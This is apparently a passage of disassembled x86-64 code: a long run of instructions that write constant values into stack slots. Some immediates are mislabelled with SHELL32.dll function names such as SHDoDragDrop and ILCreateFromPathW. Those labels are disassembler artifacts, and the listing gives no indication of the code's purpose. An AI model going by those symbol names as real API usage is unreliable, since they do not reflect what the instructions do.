mov byte [rsp + 0x1af], 0x1e
mov dword [rsp + 0x6dc8], 0x42aa
mov byte [rsp + 0x1b0], ILIsParent
movabs rax, 0x70dd22c330f946
mov qword [rsp + 0xd740], rax
mov byte [rsp + 0x1b1], 0x1d
mov byte [rsp + 0x1b2], ILRemoveLastID
movabs rax, 0x7ba3b808dd96ce
mov qword [rsp + 0xd748], rax
mov eax, 0x7b6
mov word [rsp + 0x1648], ax
mov dword [rsp + 0x6dcc], 0x238a
mov dword [rsp + 0x6dd0], 0x584b
mov dword [rsp + 0x6dd4], 0x42ec
mov eax, reloc.SHELL32.dll_ILCloneFirst
mov word [rsp + 0x164c], ax
mov eax, 0x6d
mov word [rsp + 0x1650], ax
mov dword [rsp + 0x6dd8], 0x487d
mov dword [rsp + 0x6ddc], 0x6df
mov eax, 0xce7
mov word [rsp + 0x1654], ax
mov dword [rsp + 0x6de0], 0xc11a
mov byte [rsp + 0x1b3], ILGetNext
movabs rax, 0x761c21616ec1b7
mov qword [rsp + 0xd750], rax
mov byte [rsp + 0x1b4], 0x74
mov dword [rsp + 0x6de4], 0x6df
movabs rax, 0x70cf7459d74125
mov qword [rsp + 0xd758], rax
mov dword [rsp + 0x6de8], 0x5742
mov eax, 0x94e
mov word [rsp + 0x1658], ax
movabs rax, 0x7871de4372bff8
mov qword [rsp + 0xd760], rax
mov byte [rsp + 0x1b5], 0xc5
mov dword [rsp + 0x6dec], 0xc293
mov byte [rsp + 0x1b6], 0x43
movabs rax, 0x719471fc72963f
mov qword [rsp + 0xd768], rax
mov eax, 0x323
mov word [rsp + 0x165c], ax
mov dword [rsp + 0x6df0], 0xe2e
mov byte [rsp + 0x1b7], 0x61
mov dword [rsp + 0x6df4], 0x48ef
movabs rax, 0x7134b0819a335a
mov qword [rsp + 0xd770], rax
mov dword [rsp + 0x6df8], 0x7c31
mov byte [rsp + 0x1b8], 0xf8
mov byte [rsp + 0x1b9], SHDoDragDrop
movabs rax, 0x7d448c6ab1ee54
mov qword [rsp + 0xd778], rax
mov byte [rsp + 0x1ba], 0x85
mov eax, 0x3a0
mov word [rsp + 0x1660], ax
movabs rax, 0x7b7b92e77144a5
mov qword [rsp + 0xd780], rax
mov byte [rsp + 0x1bb], SHDoDragDrop
movabs rax, 0x705fb5d6b677eb
mov qword [rsp + 0xd788], rax
mov dword [rsp + 0x6dfc], 0xf7f2
movabs rax, 0x7c01480218c938
mov qword [rsp + 0xd790], rax
movabs rax, 0x7dfeadd975805b
mov qword [rsp + 0xd798], rax
mov dword [rsp + 0x6e00], 0x481d
mov eax, 0x590
mov word [rsp + 0x1664], ax
movabs rax, 0x744caaa316ab3f
mov qword [rsp + 0xd7a0], rax
mov eax, 0x1ae
mov word [rsp + 0x1668], ax
movabs rax, 0x7c7468625fb098
mov qword [rsp + 0xd7a8], rax
movabs rax, 0x7854f267f0df4a
mov qword [rsp + 0xd7b0], rax
mov dword [rsp + 0x6e04], 0x7f96
mov byte [rsp + 0x1bc], SHDoDragDrop
mov eax, 0x39a
mov word [rsp + 0x166c], ax
mov eax, 0x44e
mov word [rsp + 0x1670], ax
mov byte [rsp + 0x1bd], PathMakeUniqueName
mov byte [rsp + 0x1be], 0xb6
mov dword [rsp + 0x6e08], 0x540f
mov eax, 0x231
mov word [rsp + 0x1674], ax
movabs rax, 0x7232469541d798
mov qword [rsp + 0xd7b8], rax
movabs rax, 0x7d46db92364828
mov qword [rsp + 0xd7c0], rax
mov eax, 0x441
mov word [rsp + 0x1678], ax
mov eax, 0x7c2
mov word [rsp + 0x167c], ax
movabs rax, 0x7ccd66671a0f0f
mov qword [rsp + 0xd7c8], rax
mov byte [rsp + 0x1bf], 0x8a
mov eax, 0x41b
mov word [rsp + 0x1680], ax
mov eax, 0xc8e
mov word [rsp + 0x1684], ax
mov byte [rsp + 0x1c0], 0x85
movabs rax, 0x760c7c57e76fc8
mov qword [rsp + 0xd7d0], rax
mov eax, 0x8e3
mov word [rsp + 0x1688], ax
mov dword [rsp + 0x6e0c], 0x9279
mov dword [rsp + 0x6e10], 0x84e2
mov byte [rsp + 0x1c1], 0x88
mov dword [rsp + 0x6e14], 0x259
movabs rax, 0x7179aae4078f5e
mov qword [rsp + 0xd7d8], rax
mov eax, 0xf63
mov word [rsp + 0x168c], ax
mov byte [rsp + 0x1c2], 0x7a
movabs rax, 0x773577ba9b0b13
mov qword [rsp + 0xd7e0], rax
mov dword [rsp + 0x6e18], 0x2c40
movabs rax, 0x76705592838c52
mov qword [rsp + 0xd7e8], rax
mov dword [rsp + 0x6e1c], 0x8db7
mov eax, 0x4fa
mov word [rsp + 0x1690], ax
movabs rax, 0x7c7bf594352a5e
mov qword [rsp + 0xd7f0], rax
movabs rax, 0x79bbd4adee17c8
mov qword [rsp + 0xd7f8], rax
mov eax, 0x2b6
mov word [rsp + 0x1694], ax
movabs rax, 0x7dc3ecc917c20d
mov qword [rsp + 0xd800], rax
movabs rax, 0x76fdacab818003
mov qword [rsp + 0xd808], rax
mov eax, 0xfd8
mov word [rsp + 0x1698], ax
movabs rax, 0x7e7cea2aee02f0
mov qword [rsp + 0xd810], rax
mov eax, 0xe64
mov word [rsp + 0x169c], ax
mov eax, 0xef2
mov word [rsp + 0x16a0], ax
movabs rax, 0x74e6a727dfe615
mov qword [rsp + 0xd818], rax
movabs rax, 0x7636a4a1e3a151
mov qword [rsp + 0xd820], rax
mov byte [rsp + 0x1c3], 0x79
mov dword [rsp + 0x6e20], 0x61ac
movabs rax, 0x7e1e560b52dfb6
mov qword [rsp + 0xd828], rax
mov eax, 0xbd1
mov word [rsp + 0x16a4], ax
mov dword [rsp + 0x6e24], 0xc0d4
mov byte [rsp + 0x1c4], 0x65
mov dword [rsp + 0x6e28], 0x1db3
mov eax, 0x580
mov word [rsp + 0x16a8], ax
mov eax, 0x65f
mov word [rsp + 0x16ac], ax
mov byte [rsp + 0x1c5], 0x5a
mov byte [rsp + 0x1c6], 0xf5
mov dword [rsp + 0x6e2c], 0x7ee5
mov byte [rsp + 0x1c7], 0xf0
movabs rax, 0x7669453a142eb7
mov qword [rsp + 0xd830], rax
mov byte [rsp + 0x1c8], 0x65
mov byte [rsp + 0x1c9], 0x43
movabs rax, 0x776723446f81c2
mov qword [rsp + 0xd838], rax
mov eax, 0x40a
mov word [rsp + 0x16b0], ax
mov eax, 0x1f4
mov word [rsp + 0x16b4], ax
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x16b8], ax
mov eax, 0xc5d
mov word [rsp + 0x16bc], ax
mov eax, 0x759
mov word [rsp + 0x16c0], ax
movabs rax, 0x73daa108a4ea96
mov qword [rsp + 0xd840], rax
mov eax, 0xf3e
mov word [rsp + 0x16c4], ax
movabs rax, 0x71cb343ecdc3b0
mov qword [rsp + 0xd848], rax
mov eax, 0x67e
mov word [rsp + 0x16c8], ax
mov byte [rsp + 0x1ca], 0xfb
mov byte [rsp + 0x1cb], ILCreateFromPathW
mov eax, 0x471
mov word [rsp + 0x16cc], ax
movabs rax, 0x71404447639971
mov qword [rsp + 0xd850], rax
mov dword [rsp + 0x6e30], 0x2d19
mov dword [rsp + 0x6e34], 0x8996
mov dword [rsp + 0x6e38], 0xf165
movabs rax, 0x785c587bfa5535
mov qword [rsp + 0xd858], rax
mov byte [rsp + 0x1cc], 0xcd
movabs rax, 0x7a2b0920811787
mov qword [rsp + 0xd860], rax
movabs rax, 0x79851190629f1e
mov qword [rsp + 0xd868], rax
movabs rax, 0x750cde38cb1157
mov qword [rsp + 0xd870], rax
mov eax, 0xb83
mov word [rsp + 0x16d0], ax
mov dword [rsp + 0x6e3c], 0x1e6d
mov eax, 0x73
mov word [rsp + 0x16d4], ax
movabs rax, 0x715eb2559985c1
mov qword [rsp + 0xd878], rax
mov eax, SHDoDragDrop
mov word [rsp + 0x16d8], ax
mov eax, 0x464
mov word [rsp + 0x16dc], ax
movabs rax, 0x7984a15c4a90ab
mov qword [rsp + 0xd880], rax
mov eax, 0xf2d
mov word [rsp + 0x16e0], ax
mov eax, 0x134
mov word [rsp + 0x16e4], ax
mov byte [rsp + 0x1cd], 0x67
movabs rax, 0x7442daa87ba8fa
mov qword [rsp + 0xd888], rax
mov eax, 0x671
mov word [rsp + 0x16e8], ax
mov eax, 0x13d
mov word [rsp + 0x16ec], ax
mov eax, 0x5f
mov word [rsp + 0x16f0], ax
mov byte [rsp + 0x1ce], 0xb6
mov eax, 0x803
mov word [rsp + 0x16f4], ax
movabs rax, 0x765f3f023f638e
mov qword [rsp + 0xd890], rax
mov eax, 0x6f
mov word [rsp + 0x16f8], ax
movabs rax, 0x74495e09ac24be
mov qword [rsp + 0xd898], rax
mov eax, 0x35b
mov word [rsp + 0x16fc], ax
mov dword [rsp + 0x6e40], 0x5e89
mov byte [rsp + 0x1cf], 0xf8
mov dword [rsp + 0x6e44], 0x4e1f
movabs rax, 0x719de4315bcde8
mov qword [rsp + 0xd8a0], rax
mov dword [rsp + 0x6e48], 0xb4d4
movabs rax, 0x79a88d53a02e3c
mov qword [rsp + 0xd8a8], rax
mov eax, 0xc3d
mov word [rsp + 0x1700], ax
mov dword [rsp + 0x6e4c], 0x6a8a
movabs rax, 0x78724e7e6f6f6e
mov qword [rsp + 0xd8b0], rax
movabs rax, 0x7cea41a1da3a06
mov qword [rsp + 0xd8b8], rax
mov eax, 0xf75
mov word [rsp + 0x1704], ax
movabs rax, 0x7aa99715ebef9a
mov qword [rsp + 0xd8c0], rax
mov byte [rsp + 0x1d0], 0x79
movabs rax, 0x7c5ea019e345d0
mov qword [rsp + 0xd8c8], rax
mov eax, 0x62c
mov word [rsp + 0x1708], ax
movabs rax, 0x7e44a624dde2f6
mov qword [rsp + 0xd8d0], rax
mov byte [rsp + 0x1d1], reloc.SHELL32.dll_ILFree
mov eax, 0xd6d
mov word [rsp + 0x170c], ax
mov byte [rsp + 0x1d2], 2
movabs rax, 0x77e6bdbc5596b5
mov qword [rsp + 0xd8d8], rax
movabs rax, 0x75b93ea1f760ff
mov qword [rsp + 0xd8e0], rax
mov dword [rsp + 0x6e50], 0x9725
movabs rax, 0x7db6420959ed48
mov qword [rsp + 0xd8e8], rax
mov eax, 0xfc7
mov word [rsp + 0x1710], ax
mov byte [rsp + 0x1d3], 0x61
mov eax, 0xb91
mov word [rsp + 0x1714], ax
mov dword [rsp + 0x6e54], 0x790c
movabs rax, 0x725734a10b8bf5
mov qword [rsp + 0xd8f0], rax
mov dword [rsp + 0x6e58], 0x5705
movabs rax, 0x70147813d575ee
mov qword [rsp + 0xd8f8], rax
mov dword [rsp + 0x6e5c], 0x65c9
mov dword [rsp + 0x6e60], 0x94eb
mov dword [rsp + 0x6e64], 0x2f80
mov dword [rsp + 0x6e68], 0x5d60
mov dword [rsp + 0x6e6c], 0x9cbb
mov dword [rsp + 0x6e70], 0xe5e
movabs rax, 0x7a68cd6f5d51ae
mov qword [rsp + 0xd900], rax
movabs rax, 0x702916cc94a0ba
mov qword [rsp + 0xd908], rax
movabs rax, 0x746104735cf094
mov qword [rsp + 0xd910], rax
movabs rax, 0x7838f841bba10b
mov qword [rsp + 0xd918], rax
mov byte [rsp + 0x1d4], 0x3a
movabs rax, 0x7ee6e2497021af
mov qword [rsp + 0xd920], rax
mov dword [rsp + 0x6e74], 0x18cf
mov dword [rsp + 0x6e78], 0x62eb
mov dword [rsp + 0x6e7c], 0x1607
movabs rax, 0x7d027c11b229ea
mov qword [rsp + 0xd928], rax
mov eax, 0xcf9
mov word [rsp + 0x1718], ax
mov byte [rsp + 0x1d5], 0x6f
movabs rax, 0x7e834325d1b79e
mov qword [rsp + 0xd930], rax
movabs rax, 0x7c6b1345f452a9
mov qword [rsp + 0xd938], rax
mov dword [rsp + 0x6e80], 0x1a5b
mov byte [rsp + 0x1d6], ILCreateFromPathW
mov dword [rsp + 0x6e84], 0x1bdd
movabs rax, 0x7844f09e55a94a
mov qword [rsp + 0xd940], rax
mov eax, 0x6e8
mov word [rsp + 0x171c], ax
mov dword [rsp + 0x6e88], 0x6aeb
movabs rax, 0x77901f48dcb2b0
mov qword [rsp + 0xd948], rax
mov dword [rsp + 0x6e8c], 0x3daa
movabs rax, 0x76e5facbd15a4e
mov qword [rsp + 0xd950], rax
mov byte [rsp + 0x1d7], 0x83
mov eax, 0xc66
mov word [rsp + 0x1720], ax
movabs rax, 0x7a9c93caae0918
mov qword [rsp + 0xd958], rax
movabs rax, 0x7e1176b94b5344
mov qword [rsp + 0xd960], rax
mov byte [rsp + 0x1d8], PathMakeUniqueName
mov dword [rsp + 0x6e90], 0x86b
mov byte [rsp + 0x1d9], 0xcc
movabs rax, 0x7c4545d51c1942
mov qword [rsp + 0xd968], rax
movabs rax, 0x7849b5cc46eede
mov qword [rsp + 0xd970], rax
mov byte [rsp + 0x1da], 0xc5
mov byte [rsp + 0x1db], 0x1b
mov byte [rsp + 0x1dc], 0x87
movabs rax, 0x79226895f59598
mov qword [rsp + 0xd978], rax
mov dword [rsp + 0x6e94], 0x69dd
mov dword [rsp + 0x6e98], 0xcddd
movabs rax, 0x7745664160f562
mov qword [rsp + 0xd980], rax
mov eax, ILFindLastID
mov word [rsp + 0x1724], ax
movabs rax, 0x7ab95fe1ae252f
mov qword [rsp + 0xd988], rax
mov eax, 0x736
mov word [rsp + 0x1728], ax
mov dword [rsp + 0x6e9c], 0x2d28
mov byte [rsp + 0x1dd], ILCreateFromPathW
mov eax, 0x6c1
mov word [rsp + 0x172c], ax
mov eax, 0x7e
mov word [rsp + 0x1730], ax
mov eax, 0x87e
mov word [rsp + 0x1734], ax
mov eax, 0x632
mov word [rsp + 0x1738], ax
mov dword [rsp + 0x6ea0], 0x2add
mov eax, 0xe95
mov word [rsp + 0x173c], ax
movabs rax, 0x7a452709cabc86
mov qword [rsp + 0xd990], rax
mov eax, 0x6d
mov word [rsp + 0x1740], ax
mov dword [rsp + 0x6ea4], 0xf5b
movabs rax, 0x78cacf7756b73b
mov qword [rsp + 0xd998], rax
movabs rax, 0x7756f1b31548d1
mov qword [rsp + 0xd9a0], rax
movabs rax, 0x761e523aa29b98
mov qword [rsp + 0xd9a8], rax
mov byte [rsp + 0x1de], reloc.SHELL32.dll_ILGetNext
mov byte [rsp + 0x1df], ILIsParent
movabs rax, 0x7a67389adeef53
mov qword [rsp + 0xd9b0], rax
movabs rax, 0x738faa065542fe
mov qword [rsp + 0xd9b8], rax
mov eax, 0x8d
mov word [rsp + 0x1744], ax
mov byte [rsp + 0x1e0], 1
mov byte [rsp + 0x1e1], 0xc3
mov byte [rsp + 0x1e2], 0xc3
mov dword [rsp + 0x6ea8], 0x4a68
mov byte [rsp + 0x1e3], 0x8e
mov eax, 0x786
mov word [rsp + 0x1748], ax
movabs rax, 0x73d1aec2e557c2
mov qword [rsp + 0xd9c0], rax
mov eax, 0x5f8
mov word [rsp + 0x174c], ax
mov dword [rsp + 0x6eac], 0x3f4a
mov byte [rsp + 0x1e4], 0x3a
mov eax, 0x729
mov word [rsp + 0x1750], ax
mov eax, 0xf8
mov word [rsp + 0x1754], ax
mov byte [rsp + 0x1e5], ILGetNext
mov eax, 0x332
mov word [rsp + 0x1758], ax
movabs rax, 0x79e5f79fe5b34a
mov qword [rsp + 0xd9c8], rax
mov dword [rsp + 0x6eb0], 0x10f2
mov eax, 0x86b
mov word [rsp + 0x175c], ax
mov byte [rsp + 0x1e6], SHSetInstanceExplorer
mov byte [rsp + 0x1e7], 0x5c
mov eax, 0x9d4
mov word [rsp + 0x1760], ax
mov byte [rsp + 0x1e8], 1
mov eax, 0x132
mov word [rsp + 0x1764], ax
mov eax, 0xa3f
mov word [rsp + 0x1768], ax
movabs rax, 0x78a222861307dd
mov qword [rsp + 0xd9d0], rax
mov eax, reloc.SHELL32.dll_ILFree
mov word [rsp + 0x176c], ax
mov dword [rsp + 0x6eb4], 0x3159
movabs rax, 0x72cc136da62745
mov qword [rsp + 0xd9d8], rax
mov dword [rsp + 0x6eb8], 0x2434
mov byte [rsp + 0x1e9], 0x3c
mov eax, 0x71b
mov word [rsp + 0x1770], ax
mov dword [rsp + 0x6ebc], 0x61c5
mov dword [rsp + 0x6ec0], 0x1964
mov byte [rsp + 0x1ea], 0x24
movabs rax, 0x76844af0baea0a
mov qword [rsp + 0xd9e0], rax
mov dword [rsp + 0x6ec4], 0x50bf
mov byte [rsp + 0x1eb], ILCreateFromPathW
mov byte [rsp + 0x1ec], SHDoDragDrop
mov eax, 0x39
mov word [rsp + 0x1774], ax
movabs rax, 0x77b73c02af70fb
mov qword [rsp + 0xd9e8], rax
movabs rax, 0x7b7be0be88ee81
mov qword [rsp + 0xd9f0], rax
movabs rax, 0x7d3832f0a8349c
mov qword [rsp + 0xd9f8], rax
mov eax, 0xe57
mov word [rsp + 0x1778], ax
mov eax, 0x9a6
mov word [rsp + 0x177c], ax
movabs rax, 0x7e5cf9cc2285a9
mov qword [rsp + 0xda00], rax
mov eax, 0xb66
mov word [rsp + 0x1780], ax
mov dword [rsp + 0x6ec8], 0x510e
movabs rax, 0x76ab02542fd89b
mov qword [rsp + 0xda08], rax
mov dword [rsp + 0x6ecc], 0x7a0d
mov dword [rsp + 0x6ed0], 0x5178
mov dword [rsp + 0x6ed4], 0x95bf
mov eax, 0x15b
mov word [rsp + 0x1784], ax
mov eax, 0x161
mov word [rsp + 0x1788], ax
movabs rax, 0x7a490f0d5919b8
mov qword [rsp + 0xda10], rax
mov eax, 0x9e8
mov word [rsp + 0x178c], ax
movabs rax, 0x72297ace713eca
mov qword [rsp + 0xda18], rax
mov eax, 0x439
mov word [rsp + 0x1790], ax
movabs rax, 0x7556cd8e1412f5
mov qword [rsp + 0xda20], rax
mov eax, 0xf58
mov word [rsp + 0x1794], ax
movabs rax, 0x7003831a012568
mov qword [rsp + 0xda28], rax
mov eax, 0xfab
mov word [rsp + 0x1798], ax
mov byte [rsp + 0x1ed], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x1ee], 0xf1
mov eax, SHDoDragDrop
mov word [rsp + 0x179c], ax
mov byte [rsp + 0x1ef], 0xeb
mov dword [rsp + 0x6ed8], 0x6f90
mov eax, 0x49c
mov word [rsp + 0x17a0], ax
mov dword [rsp + 0x6edc], 0x9b2
mov byte [rsp + 0x1f0], 0xc7
mov eax, 0xe79
mov word [rsp + 0x17a4], ax
movabs rax, 0x7c25f6b5d283fa
mov qword [rsp + 0xda30], rax
mov dword [rsp + 0x6ee0], 0x43d8
movabs rax, 0x7c81806bdbc067
mov qword [rsp + 0xda38], rax
mov dword [rsp + 0x6ee4], 0xb78d
mov eax, 0x550
mov word [rsp + 0x17a8], ax
mov dword [rsp + 0x6ee8], 0x2158
movabs rax, 0x7d738fdc0c7e99
mov qword [rsp + 0xda40], rax
movabs rax, 0x78fbaf037eb610
mov qword [rsp + 0xda48], rax
mov eax, 0x26e
mov word [rsp + 0x17ac], ax
mov byte [rsp + 0x1f1], 0x5d
movabs rax, 0x74d160fd927893
mov qword [rsp + 0xda50], rax
movabs rax, 0x7974e70f2f56b2
mov qword [rsp + 0xda58], rax
movabs rax, 0x73a14347899032
mov qword [rsp + 0xda60], rax
movabs rax, 0x7455a3bcb6ff66
mov qword [rsp + 0xda68], rax
mov dword [rsp + 0x6eec], 0x9967
mov eax, 0x8a0
mov word [rsp + 0x17b0], ax
movabs rax, 0x77b8e122891bd9
mov qword [rsp + 0xda70], rax
movabs rax, 0x7d63f4ebdf5f0f
mov qword [rsp + 0xda78], rax
mov eax, 0x651
mov word [rsp + 0x17b4], ax
movabs rax, 0x700f6bd784d173
mov qword [rsp + 0xda80], rax
mov dword [rsp + 0x6ef0], 0x53ef
mov dword [rsp + 0x6ef4], 0x2eef
mov eax, 0xd24
mov word [rsp + 0x17b8], ax
movabs rax, 0x7ee1d8a00ba720
mov qword [rsp + 0xda88], rax
movabs rax, 0x715dd3a427b62b
mov qword [rsp + 0xda90], rax
mov eax, 0x6ba
mov word [rsp + 0x17bc], ax
mov eax, 0x6c7
mov word [rsp + 0x17c0], ax
mov dword [rsp + 0x6ef8], 0x38b0
mov dword [rsp + 0x6efc], 0x6938
mov dword [rsp + 0x6f00], 0xaa26
movabs rax, 0x7583b40ddd0a43
mov qword [rsp + 0xda98], rax
mov eax, 0x1e0
mov word [rsp + 0x17c4], ax
movabs rax, 0x793f29f0b39d0b
mov qword [rsp + 0xdaa0], rax
mov byte [rsp + 0x1f2], 0x71
mov eax, 0x295
mov word [rsp + 0x17c8], ax
mov eax, 0xb7
mov word [rsp + 0x17cc], ax
mov dword [rsp + 0x6f04], 0x5f9
movabs rax, 0x700db5c6891572
mov qword [rsp + 0xdaa8], rax
movabs rax, 0x709ffcca7c8cb0
mov qword [rsp + 0xdab0], rax
mov byte [rsp + 0x1f3], ILRemoveLastID
movabs rax, 0x73e7a5e780bb2b
mov qword [rsp + 0xdab8], rax
movabs rax, 0x757a36428e0b1d
mov qword [rsp + 0xdac0], rax
mov eax, 0xffe
mov word [rsp + 0x17d0], ax
movabs rax, 0x748d5a4998f424
mov qword [rsp + 0xdac8], rax
movabs rax, 0x76a401af178947
mov qword [rsp + 0xdad0], rax
mov dword [rsp + 0x6f08], 0x2725
movabs rax, 0x7083fd0e4c116b
mov qword [rsp + 0xdad8], rax
mov eax, 0x448
mov word [rsp + 0x17d4], ax
movabs rax, 0x7e30e19039f891
mov qword [rsp + 0xdae0], rax
mov dword [rsp + 0x6f0c], 0x21a1
mov eax, 0x1cd
mov word [rsp + 0x17d8], ax
mov eax, 0x467
mov word [rsp + 0x17dc], ax
mov byte [rsp + 0x1f4], 0xf1
mov eax, 0x93e
mov word [rsp + 0x17e0], ax
mov eax, 0x18f
mov word [rsp + 0x17e4], ax
mov byte [rsp + 0x1f5], 1
mov dword [rsp + 0x6f10], 0x933
mov dword [rsp + 0x6f14], 0x435e
mov dword [rsp + 0x6f18], 0x78b6
mov eax, 0x2c5
mov word [rsp + 0x17e8], ax
mov dword [rsp + 0x6f1c], 0x6708
movabs rax, 0x76f4b2034075ff
mov qword [rsp + 0xdae8], rax
movabs rax, 0x7c94a3c30f22e0
mov qword [rsp + 0xdaf0], rax
mov eax, 0xa11
mov word [rsp + 0x17ec], ax
mov eax, 0x180
mov word [rsp + 0x17f0], ax
mov dword [rsp + 0x6f20], 0x3ccd
mov eax, reloc.SHELL32.dll_ILCreateFromPathW
mov word [rsp + 0x17f4], ax
movabs rax, 0x759c213ccfe9cb
mov qword [rsp + 0xdaf8], rax
mov dword [rsp + 0x6f24], 0x2c9d
movabs rax, 0x732b8eadd8c951
mov qword [rsp + 0xdb00], rax
movabs rax, 0x7df815ee8cb770
mov qword [rsp + 0xdb08], rax
movabs rax, 0x72b6659c806a4b
mov qword [rsp + 0xdb10], rax
movabs rax, 0x74429844f9cf52
mov qword [rsp + 0xdb18], rax
mov byte [rsp + 0x1f6], 0x41
mov byte [rsp + 0x1f7], 0xd1
mov eax, 0x3dc
mov word [rsp + 0x17f8], ax
mov dword [rsp + 0x6f28], 0xe8cd
mov eax, 0x406
mov word [rsp + 0x17fc], ax
movabs rax, 0x78fa91d802cbd0
mov qword [rsp + 0xdb20], rax
mov dword [rsp + 0x6f2c], 0xd31a
mov dword [rsp + 0x6f30], 0x5897
mov dword [rsp + 0x6f34], 0x6b64
mov byte [rsp + 0x1f8], 0xf8
mov eax, 0x3d
mov word [rsp + 0x1800], ax
mov dword [rsp + 0x6f38], 0x6de5
mov dword [rsp + 0x6f3c], 0x1da2
mov dword [rsp + 0x6f40], 0xb7c
mov byte [rsp + 0x1f9], 0xcd
mov eax, 0xfd6
mov word [rsp + 0x1804], ax
mov dword [rsp + 0x6f44], 0x6eb8
movabs rax, 0x74d776733c4b6b
mov qword [rsp + 0xdb28], rax
mov dword [rsp + 0x6f48], 0x12f6
mov byte [rsp + 0x1fa], 0xd9
mov dword [rsp + 0x6f4c], 0x856a
movabs rax, 0x760d46bd4e7f36
mov qword [rsp + 0xdb30], rax
movabs rax, 0x7208affec0abe1
mov qword [rsp + 0xdb38], rax
movabs rax, 0x731c1f23e3d3cb
mov qword [rsp + 0xdb40], rax
mov byte [rsp + 0x1fb], reloc.SHELL32.dll_ILGetNext
mov eax, 0x382
mov word [rsp + 0x1808], ax
movabs rax, 0x746a911930070a
mov qword [rsp + 0xdb48], rax
movabs rax, 0x7dcd3b53135bfb
mov qword [rsp + 0xdb50], rax
mov dword [rsp + 0x6f50], 0x79c0
mov dword [rsp + 0x6f54], 0x3a8d
mov eax, 0x296
mov word [rsp + 0x180c], ax
mov eax, 0x293
mov word [rsp + 0x1810], ax
mov dword [rsp + 0x6f58], 0x59f6
mov eax, 0x5d6
mov word [rsp + 0x1814], ax
movabs rax, 0x7819bcfc267d31
mov qword [rsp + 0xdb58], rax
mov byte [rsp + 0x1fc], 1
mov eax, 0x665
mov word [rsp + 0x1818], ax
mov dword [rsp + 0x6f5c], 0x56cd
mov dword [rsp + 0x6f60], 0x206
mov dword [rsp + 0x6f64], 0x5565
mov dword [rsp + 0x6f68], 0x5864
mov dword [rsp + 0x6f6c], 0x5db7
mov dword [rsp + 0x6f70], 0x9896
mov eax, 0xca1
mov word [rsp + 0x181c], ax
mov byte [rsp + 0x1fd], 0x4d
movabs rax, 0x70c86bec43ff1a
mov qword [rsp + 0xdb60], rax
mov byte [rsp + 0x1fe], 0xd7
mov byte [rsp + 0x1ff], ILGetSize
movabs rax, 0x7d50fb2ddd9cde
mov qword [rsp + 0xdb68], rax
movabs rax, 0x7e7d62c083973f
mov qword [rsp + 0xdb70], rax
mov eax, 0x5b0
mov word [rsp + 0x1820], ax
mov eax, 0x4c6
mov word [rsp + 0x1824], ax
movabs rax, 0x71a359ca8082a5
mov qword [rsp + 0xdb78], rax
movabs rax, 0x75b07566c4b824
mov qword [rsp + 0xdb80], rax
movabs rax, 0x7809f1f15a5132
mov qword [rsp + 0xdb88], rax
mov eax, 0xe4b
mov word [rsp + 0x1828], ax
mov dword [rsp + 0x6f74], 0x5f9a
movabs rax, 0x77c31f4d715a89
mov qword [rsp + 0xdb90], rax
movabs rax, 0x78b0bb6f91a6b6
mov qword [rsp + 0xdb98], rax
mov dword [rsp + 0x6f78], 0x14d7
movabs rax, 0x74f60bfc9de92e
mov qword [rsp + 0xdba0], rax
mov eax, 0x595
mov word [rsp + 0x182c], ax
mov eax, 0x9e3
mov word [rsp + 0x1830], ax
mov byte [rsp + 0x200], 0x5d
movabs rax, 0x779da045d141f0
mov qword [rsp + 0xdba8], rax
mov dword [rsp + 0x6f7c], 0x970d
movabs rax, 0x735200c677286e
mov qword [rsp + 0xdbb0], rax
mov byte [rsp + 0x201], 0x77
mov eax, 0xb9c
mov word [rsp + 0x1834], ax
mov eax, 0x53d
mov word [rsp + 0x1838], ax
movabs rax, 0x7e9f3491d0c263
mov qword [rsp + 0xdbb8], rax
mov byte [rsp + 0x202], 0x27
mov eax, 0x21a
mov word [rsp + 0x183c], ax
mov dword [rsp + 0x6f80], 0x185c
movabs rax, 0x739b9814162f98
mov qword [rsp + 0xdbc0], rax
mov dword [rsp + 0x6f84], 0x65a0
movabs rax, 0x749f686733b91d
mov qword [rsp + 0xdbc8], rax
mov eax, 0x1e2
mov word [rsp + 0x1840], ax
movabs rax, 0x7e10c67eb607e9
mov qword [rsp + 0xdbd0], rax
movabs rax, 0x7c8f2c051c3967
mov qword [rsp + 0xdbd8], rax
mov eax, 0xce3
mov word [rsp + 0x1844], ax
mov dword [rsp + 0x6f88], 0x5596
mov eax, 0x83
mov word [rsp + 0x1848], ax
mov byte [rsp + 0x203], 0xdd
mov byte [rsp + 0x204], 0x38
mov eax, 0x535
mov word [rsp + 0x184c], ax
mov eax, 0x5f6
mov word [rsp + 0x1850], ax
mov eax, 0x275
mov word [rsp + 0x1854], ax
mov byte [rsp + 0x205], 0xd0
movabs rax, 0x7380bf1673ea38
mov qword [rsp + 0xdbe0], rax
mov dword [rsp + 0x6f8c], 0xc548
mov dword [rsp + 0x6f90], 0x12ea
mov eax, 0xd4f
mov word [rsp + 0x1858], ax
movabs rax, 0x7e7ce568710c86
mov qword [rsp + 0xdbe8], rax
mov eax, 0x6f0
mov word [rsp + 0x185c], ax
movabs rax, 0x7190cd1ccd5d24
mov qword [rsp + 0xdbf0], rax
movabs rax, 0x7a69b1deed389b
mov qword [rsp + 0xdbf8], rax
mov eax, 0x415
mov word [rsp + 0x1860], ax
movabs rax, 0x736014efd7b732
mov qword [rsp + 0xdc00], rax
mov dword [rsp + 0x6f94], 0xf5c1
movabs rax, 0x77a4ba0aa2a508
mov qword [rsp + 0xdc08], rax
movabs rax, 0x735a5be17be03e
mov qword [rsp + 0xdc10], rax
movabs rax, 0x7cffe4343890a1
mov qword [rsp + 0xdc18], rax
movabs rax, 0x7d6f026ea3ba78
mov qword [rsp + 0xdc20], rax
mov dword [rsp + 0x6f98], 0x310e
mov dword [rsp + 0x6f9c], 0x2990
movabs rax, 0x7c9d35fcb0b1cb
mov qword [rsp + 0xdc28], rax
movabs rax, 0x7c0fd7900b6c17
mov qword [rsp + 0xdc30], rax
mov byte [rsp + 0x206], SHDoDragDrop
movabs rax, 0x7a51e0d65366ef
mov qword [rsp + 0xdc38], rax
mov byte [rsp + 0x207], 0x7f
mov eax, 0xeca
mov word [rsp + 0x1864], ax
mov dword [rsp + 0x6fa0], 0xab12
mov dword [rsp + 0x6fa4], 0xddf8
mov dword [rsp + 0x6fa8], 0x51a9
mov eax, 0xfda
mov word [rsp + 0x1868], ax
mov dword [rsp + 0x6fac], 0x53a6
mov eax, 0x515
mov word [rsp + 0x186c], ax
movabs rax, 0x70baa55b840cf7
mov qword [rsp + 0xdc40], rax
mov byte [rsp + 0x208], 0x64
mov dword [rsp + 0x6fb0], 0x932f
mov byte [rsp + 0x209], 0x35
